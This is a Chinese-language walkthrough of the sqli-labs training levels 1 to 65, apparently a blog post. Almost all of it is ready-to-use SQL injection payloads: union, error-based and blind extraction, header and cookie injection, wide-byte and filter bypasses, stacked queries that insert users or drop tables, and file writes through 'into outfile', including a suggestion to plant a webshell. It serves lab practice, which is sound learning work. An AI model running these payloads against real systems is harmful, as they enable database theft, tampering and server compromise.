Less_1
字符型,单引号闭合
Payload:  ?id=-1’ union select 1,user(),version()–+

Less_2
数字型
Payload:  ?id=-1 union select 1,user(),version()–+

Less_3
‘)  闭合
Payload:   ?id=1’) and 1=2 union select 1,user(),version() --+

Less_4
“) 闭合
Payload:  ?id=1") and 1=2 union select 1,version(),user() --+

Less_5
单引号闭合
页面无回显,但是有报错信息,使用报错注入
Updatexml报错:
Payload:  ?id=1’ and updatexml(1,concat(0x7e,(select version()),0x7e),1)–+

Floor报错
payload: ?id=1’ and(select 1 from(select count(*),concat((select(select(select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

Less_6
双引号闭合,报错注入
Payload:同less_5
Less_7
提示使用outfile来进行注入,也可使用布尔盲注,时间盲注
经过代码审计:
字符型     ‘))  闭合
Payload:?id=1’)) union select 1,2,3 into outfile “D:\phpStudy\PHPTutorial\WWW\1.php”%23
成功写入到指定路径。


Less_8
没有回显,没有报错信息,使用布尔盲注
判断数据库长度
Payload:  ?id=1’ and length(database())=8 --+

Substr:字符串截取函数。Substr(str,start,length).
Ascii(char):将字符串转换成ASCII码。
猜测数据库名的第一位(第二位为database(),2,1)
Payload:?id=1’ and ascii(substr(database(),1,1))=115 --+

Less_9
无回显,无报错信息,无布尔类型状态,使用时间盲注
If(cond,ture_result,flase_result):cond为判断条件,ture_result为真时返回的结果,false_result为假时返回的结果。
判断闭合类型
Payload:     ?id=1’ and sleep(5) --+(为’闭合时延时5s,否则没有)
更改’为”,测试是否为”注入,结果与上面相同。
单引号’闭合
猜测数据库名第一位
Payload:  ?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),2)–+
猜测版本的第一位是否为s,如果正常则返回sleep(5),使得界面延时5s。反正则不会。
Less_10
双引号闭合
Payload:?id=1” and if(ascii(substr(database(),1,1))=115,sleep(5),2)–+

Less_11
POST注入
单引号闭合
提交admin ’    判断页面显示错误为’注入。
当我们提交 username 和 password 后,后台形成的 sql 语句为
@sql="SELECTusername,passwordFROMusersWHEREusername=′username′andpassword=′sql="SELECT username, password FROM users WHERE username='username'
and password='sql="SELECTusername,passwordFROMusersWHEREusername=′username′andpassword=′passwd’ LIMIT 0,1";
尝试提交username= 任意字符 ’ or 1=1 #
Password=任意

成功以Dumb用户进入。
判断列数:
Payload:admin’ order by 1 #
得到数据库的版本信息:
Payload:  asd’ union select version(),2#

使用联合查询需要使第一个select语句为错。
其余payload发散想象。
Less_12
“)   闭合
得到用户名
Payload:  asd") union select user(),3 #

Less_13
输入  admin’

所以为 ’) 闭合
输入  admin’) or 1=1 #

页面显示登录成功,但是页面没有回显,但是有报错信息
使用报错注入
获得数据库的版本:
Payload: admin’) and updatexml(1,concat(0x7e,(select version()),0x7e),1)#

使用布尔盲注
猜测数据库名的第一位:
Payload:   admin’) and left(database(),1)=‘s’#

显示登录成功。
Less_14
”  闭合
报错注入
获得用户名:(在harkbar中的post data注入)
Payload:uname=admin" and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&passwd=&submit=Submit

Less_15
页面没有回显,没有报错,但是有布尔类型状态(正确是页面显示登录成功,错误时返回登录失败)
使用布尔盲注(在harkbar中的post data中输入)
获取数据库的第一位:
Payload:
uname=admin’and 1=If(ascii(substr(database(),1,1))=115,1,2)#&passwd=&submit=Submit
If函数猜测正确时返回1,则admin’ and 1=1,结果正确。错误时返回2,则登录失败

延时盲注
获取数据库的第一位:
Payload:
uname=admin’and If(ascii(substr(database(),1,1))=115,sleep(5),2)#&passwd=11&submit=Submit


猜测正确时,页面会延迟5s。错误时则没有此现象。
Less_16
使用   任意用户名+闭合字符+or 1=1#     来猜测闭合字符
例: cy”) or 1=1#
正确时显示登录成功,错误时显示登录失败
”)  闭合
页面无回显,无报错
Payload与less_15类似。
Less_17
正常更改显示

透过源码可以看到

代码对username进行了一个check_input的自定义函数过滤。
所以此关的注入需要在密码中执行。
报错注入:
Payload:uname=admin&passwd=11’and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit

Less_18
(注入前提成功登录)
使用username=admin,password=admin得到如下页面

猜测可以使用user_agent字段进行注入。(代码审计得知)
使用burp抓包,修改其中的user_agent字段:
Payload:'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’='1

页面显示报错:

Updatexml报错:
Payload:’ and updatexml(1,concat(0x7e,(select user()),0x7e),1) and ‘1’='1

Less_19
正常登录后页面显示为:

使用referer字段注入
爆破路径:
Payload:'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1’='1

爆破数据库:
Payload:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1’='1

Less_20
正常登录后显示:

进行代码审计,发现cookie字段存在注入点:从源代码中我们可以看到 cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读取 username,然后进行查询。

登陆后使用bp抓包,发送到repeater模块,修改cookie字段的值:
联合查询:(测试出列数为3)
爆破数据库版本
Payload:  uname=-admin’ union select 1,version(),3–+

报错注入:
爆破数据库路径
Payload:uname=-admin’ and updatexml(1,concat(0x7e,(select @@basedir),0x7e),1)#

Less_21
Cookie注入
查看源码发现对uname进行了 (‘uname’) 处理。
使用正常用户登录

发现cookie为base64编码,使用burp的decoder模块进行解码:

使用decoder模块加密payload:(修改cookie为paliload)

爆破数据库名:
Payload:admin’) and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

联合查询:爆破数据库版本
Payload:-admin’) union select 1,version(),3#

Less_22
Cookie注入
查看源码发现,源码对cookie进行了  “cookie”  处理:

本关与less_21相同,只是闭合方式由 ’) 改为 ”
构造payload之后对palyload进行base64编码即可。
爆破基本路径
Payload: admin" and updatexml(1,concat(0x7e,(select @@basedir),0x7e),1)#

Less_23
查看源代码可知,此处对#;-- ;进行了过滤
此处可以有两种闭合方式:
1.使用payload:?id=-1’ union select 1,2,'3   进行闭合
前一个引号闭合前面的sql语句,后一个引号闭合后面的sql语句。
2.使用 or ‘1’=’1   来闭合后面的引号
联合查询:爆破数据库路径
Payload:?id=-1’ union select 1,@@datadir,'3

报错注入:爆破数据库版本信息:
Payload: ?id=-1’ and updatexml(1,concat(0x7e,version(),0x7e),1) or ‘1’='1

Less_24
二次注入
查看源码可以得到,在更新用户密码时,使用了update语句,于是猜测可以使用update语句来注入。

创建名为    admin’#   的用户。使用admin’#用户登录,修改密码。

修改密码时:此时的sql语句为:UPDATE users SET PASSWORD=‘KaTeX parse error: Expected 'EOF', got '#' at position 29: …sername='admin’#̲' and password=…curr_pass’
可以看到我们构建的用户名admin’#将username之后的sql语句都注释掉了。此时sql语句就等价为UPDATE users SET PASSWORD=’$pass’ where username=’admin’
因此我们就等于修改了admin用户的密码,达到了我们的目的
通过数据库可以看到我们成功的修改了admin用户的密码为asd。

再使用admin用户登录,密码为我们修改的admin’#用户的密码。结果显示成功登录:

Less_25
‘ 单引号闭合
可以使用联合查询
通过源码我们可以看到,这关对  and  和  or  进行了过滤。
如何绕过 or 和 and 过滤,一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&&   or=||
此处使用第四种方法:
报错注入:爆破数据库路径:
Payload: ?id=1’ || updatexml(1,concat(0x7e,@@basedir,0x7e),1)–+

Less_25a
数字型
此关与less_25相似,只是没有错误信息的回显。所以可以使用联合查询,布尔盲注与延时盲注。无法使用报错注入。
联合查询:爆破用户名
Payload:   ?id=-1 union select 1,user(),3–+

布尔盲注
Payload:  ?id=-1 || 1=1 --+

Less_26
‘  闭合
此关在原有基础上,又对空格进行了过滤
对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
这关在我的系统下以上的绕过均失败。
所以使用()绕过:
Payload:  ?id=-1’||updatexml(1,concat(0x7e,version(),0x7e),1)||'1

Less_26a
‘) 闭合
与26关相似,只是报错信息不再显示
在我的环境下这关同26关相同空格绕过失败。
Less_27
‘ 单引号闭合
本关对union和select进行了过滤,可以使用双写或者大小写的形式进行绕过。
本关可以使用%0b绕过空格。
Payload: ?id=100’uNIOn%0bsELEct%0b1,user(),3||'1

此关也可以通过双写union绕过,但不能双写select绕过。此外,此处需要使用id=100,而不能使用id=-1。
Payload: ?id=100’ununionion%0bseLect%0b1,user(),3||'1

less_27a
“  闭合
报错信息不显示
与27关相似
Payload: ?id=100"uNion%0bselECT%0b1,version(),"3

TIPs:这里说下以上 payload 我们利用最后的 3 前面的 “ 将后面的 “ 给闭合掉。或者亦可以利 用以前的方法     1,user(),3 || “1
此关也可以使用布尔盲注和时间盲注。
Less_28
‘)  闭合
没有报错信息
本关与27关相似
Less_28a
本关与28关一致,只是少了几个过滤条件。
Less_29,30,31是不同服务器对于参数解析的不同导致的注入问题,我们在这里就不细说。
宽字节注入:
我们在此介绍一下宽字节注入的原理和基本用法。
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:
1、%df 吃掉 \
具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法。
Less_32
‘ 闭合
宽字节注入
通过源码可以看到

以上函数为过滤 ‘ \ 的函数,它将 ‘ 转为 \’ , 将 \ 转为 \ ,将 “ 转为 \”。因此
此处我们只能考虑 background 中的第一个思路,添加一个%df 后,将%5c 吃掉即可。
爆破基本路径:
Payload:  ?id=-1%df’union select 1,@@basedir,3–+

Less_33
查看源码可知:

本关使用了addslashses函数进行过滤
addslashes() 函数返回在预定义字符之前添加了反斜杠的字符串。
预定义字符是:
单引号(’)
双引号(")
反斜杠(\)
所以addslashes函数的作用与less_32关函数的过滤作用相同,所以使用第一种绕过方法即可。
爆破操作系统版本:
Payload: ?id=-1%df’ union select 1,@@version_compile_os,3–+

Less_34
此关为POST类型的注入。
而 get 型的方式我们是以url形式提交的,因此数据会通过 URLencode,POST当中无法使用get型的方法,我们此处介绍一个新的方法。
将 utf-8 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 � ’
提交 username:� ’ or 1=1#
Password:随便乱填
即可实现万能密码。
Less_35
数字型注入
id没有被’包裹起来,所以无需考虑’闭合问题。
Paylaod:  ?id=-1 union select 1,version(),user()–+

Less_36
查看源码

代码对id使用了mysql_real_escape_string函数过滤
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
1.\x00
2.\n
3.\r
4.\
5.’
6."
7.\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
但是因 mysql 我们并没有设置成 gbk,所以 mysql_real_escape_string()依旧能够被突破。
1)利用’的utf-16来进行突破
Payload:  ?id=-1%EF%BF%BD’ union select 1,database(),3–+
‘ 的url编码为%27。

2)利用%df来进行突破
Payload:?id=-1%df’ union select 1,@@datadir,3–+

Less_37
与34关相似,区别在于处理 post 内容用的是 mysql_real_escape_string()
函数,而不是 addslashes()函数。使用万能密码,依旧使用 ’的utf-16进行绕过。
Stacked injections:堆叠注入
在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
Less_38
‘  闭合
堆叠查询
新增用户:
Payload: ?id=1’;insert into users(id,username,password) values(‘20’,‘myname’,‘mypasswd’)–+
查看数据库中的users表可以发现,成功插入我们设定的用户。

更新用户:
Payload:?id=1’;update users set username=‘hello’ where id=20–+

删除用户:
Payload:?id=1’;delete from users where id=20–+

Less_39
数字型闭合
与38关相似
增加用户:
Payload: ?id=1;insert into users(id,username,password) values(‘39’,‘less39’,‘less39’)–+

其余payload参考38关,也可以自行发散思考。
Less_40
‘)  闭合
与38关相似
Payload:?id=1’);insert into users(id,username,password) values(‘40’,‘less40’,‘less40’)–+

Less_41
数字型闭合
与39关相似,只是错误没有显示。
Payload:  ?id=1;insert into users(id,username,password) values(‘41’,‘less41’,‘less41’)–+

Less_42
‘ 闭合
通过源码可以看出,代码对username进行了过滤,但是没有对password进行过滤。

所以可以对password进行注入。
创建一个me表:
Payload:   usrname: 随意
Password: 随意’;create table me like users–+
//或者#注释。
查看数据库显示成功注入:

删除me表:
Payload: c’;drop table me#
数据库显示成功删除:

Less_43
查看源码:


此关与less_42关相似,只是对password进行了 ‘) 闭合。
创建less_43表:
Payload:  c’);create table less_43 like users#

Less_44
‘  闭合
此关与42关相似,只是报错信息不显示。
创建用户:
Payload: username:admin
Password: 1’;insert into users(id,username,password) values (‘44’,‘less44’,‘less44’)#

其余操作不演示了。
Less_45
‘)  闭合
此关与43关相同,只是报错信息不显示
参考less_43的payload。
Less_46
数字型闭合
Order by 之后的排序:
代码审计:

从上述的 sql 语句中我们可以看出,我们的注入点在 order by 后面的参数中,而 order by
不同于的我们在 where 后的注入点,不能使用 union 等进行注入。
1.判断是否存在order by之后的注入?
在参数后面加个asc(结果升序显示)、desc(结果降序显示)来观察其顺序是否改变就行了。顺序改变了,所以存在注入。
Payload:   ?sort=1 asc

所以存在注入点。
2.正式注入
因为我们在这里有些信息是不能查到的,显示的信息有限。所以在这里我们需要应用盲注,比如报错注入、延时注入、等等。(由于回显示的信息不能太多所以我们有时候需要运用limit来进行限制)
报错注入:爆破数据库用户。
Payload:?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)) limit 0,1) --+

爆破数据库版本:
Payload:
1.直接在sort参数中注入:  ?sort=(extractvalue(1,concat(0x3a,(select version()),0x3a)))–+
2.使用其他函数如rand(): ?sort=rand(extractvalue(1,concat(0x7e,(select user()),0x7e)))–+
3.或者使用and连接: ?sort=1 and extractvalue(1,concat(0x3a,(select version()),0x3a))–+
结果都相同,如下图:

procedure analyse 参数后注入
利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。
爆破数据库版本:
Payload: ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)–+

导入导出文件 into outfile 参数
Payload:  ?sort=1 into outfile “c:\test.txt”%23

那这个时候我们可以考虑上传网马,利用 lines terminated by。
Into outtfile c:\wamp\www\sqllib\test1.txt lines terminated by 0x(网马进行 16 进制转
换)
其余方法大家发挥想象。
Less_47
‘ 闭合
此关与less_46相似,只是闭合方式不同。
爆破数据库版本:
Payload:  ?sort=1’ and updatexml(1,concat(0x7e,version(),0x7e),1)–+

Less_48
此关与46关相同,只是报错信息不再输出。
时间注入:
Payload:  ?sort=1 and (If(ascii(substr(database(),1,1))=115,0,sleep(5)))–+

Less_49
与47关相似,只是没有报错信息
导出文件:
Payload:?sort=1’ into outfile “c:\2.txt”–+


Less_50
从本关开始我们开始进行 order by stacked injection! (Order by 的堆叠查询。)
执行 sql 语句我们这里使用的是 mysqli_multi_query()函数,而之前我们使用的是 mysqli_query(),区别在于 mysqli_multi_query()可以执行多个 sql 语句,而 mysqli_query()只能执行一个 sql 语句,那么我们此处就可以执行多个 sql 语句进行注入,也就是我们之前提到的 statcked injection。
数字型闭合
增加用户:
Payload:  ?sort=1;insert into users(id,username,password) values(‘50’,‘less50’,‘less50’)–+

查看数据库发现用户生成:

Less_51
‘  闭合
与less_50相似。
创建表:
Payload:  ?sort=1’;create table me like users–+

Less_52
这关与less_50相同,只是报错信息不出现
创建less52表:
Payload:   ?sort=1;create table less52 like users–+

Less_53
此关与less_51关相同,只是报错信息不出现
删除表me:
Payload:  ?sort=1’;drop table me–+

Less_54
‘闭合
测试次数10次;
已知数据库名为challenges
获取表名:
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+

获取字段名
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘ikqojbz3ku’–+

获取密码
?id=-1’ union select 1,2,group_concat(secret_1529) from challenges.ikqojbz3ku–+

Less_55
)  闭合
此关与less_54相同
获取表名:
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+

获取字段名
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘2b4o96t0f4’–+

获取密码
?id=-1) union select 1,2,group_concat(secret_O5T0) from challenges.2b4o96t0f4–+

Less_56
‘)  闭合
此关与less_54,55相同,只是闭合方式不同。
此处给出示例,其余payload参考以上关卡。
获取表名
?id=-1’) union select 2,3,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+

Less_57
“ 闭合
此关与less54,55,56相同
示例:
获取表名
?id=-1" union select 2,3,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+

Less_58
‘ 闭合
可以看到执行了SQL语句后,页面没有回显,所以需要使用报错注入
获取表名:
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e),1)–+
//注意group_concat 之前要有select,并且select语句要有括号包裹。
或者另一种payload:
?id=-1’ union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+

获取字段名
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘pl4k0xv350’),0x7e),1)–+

获取密码
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(secret_003G) from challenges.pl4k0xv350),0x7e),1)–+

Less_59
数字型闭合
此关与less_58关相同,只是闭合方式不同,同样使用报错注入。
示例:
获得表名
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+

Less_60
“ )  闭合
与less_58,59相同。闭合方式不同
示例:
获取表名
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+

Less_61
与less58,59,60相同。
此处的闭合为 ‘))
payload参考以上关卡构造。
Less_62
‘)  闭合
可以看到这关联合查询和报错注入都已经失败了,所以使用时间盲注。
获得表名:
?id=1’) and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),1,1))=97,sleep(5),1)–+
当正确时延时5s,错误时则没有延时。
其余payload也是类似。
Less_63
和less_62相同,只是为  ‘  闭合。
Payload参考上式。
Less_64
与前面关卡相同, 为 )) 闭合。
Less_65
与前面关卡相同,为  “)  闭合。
                  
                  
                  
                  
                            
本文详细介绍了SQL注入的各种类型和应对策略,包括字符型、数字型、宽字节注入、堆叠注入等,涵盖了闭合方式、报错注入、时间盲注等方法。通过实例展示了如何利用注入漏洞获取数据库信息、创建和删除用户及表,以及如何进行报错注入和盲注。同时,讨论了Order by注入和堆叠查询注入的技巧,强调了在实际应用中防止SQL注入的重要性。
          
      
          
                
                
                
                
              
                
                
                
                
                
              
                
                
              
            
                  
					1918
					
被折叠的  条评论
		 为什么被折叠?
		 
		 
		
    
  
    
  
            


            